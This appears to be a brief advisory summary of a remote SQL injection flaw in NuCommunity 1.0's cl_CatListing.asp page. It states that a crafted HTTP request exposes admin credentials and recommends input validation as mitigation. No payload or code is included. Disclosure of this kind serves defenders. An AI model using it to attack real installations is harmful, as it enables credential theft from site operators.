NuCommunity 1.0 (cl_CatListing.asp) Remote SQL Injection Exploit

NuCommunity 1.0 is vulnerable to a remote SQL injection vulnerability. This vulnerability allows an attacker to gain access to the admin credentials of the application. The exploit is triggered by sending a specially crafted HTTP request to the vulnerable application. The request contains a malicious SQL query which is executed in the backend database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
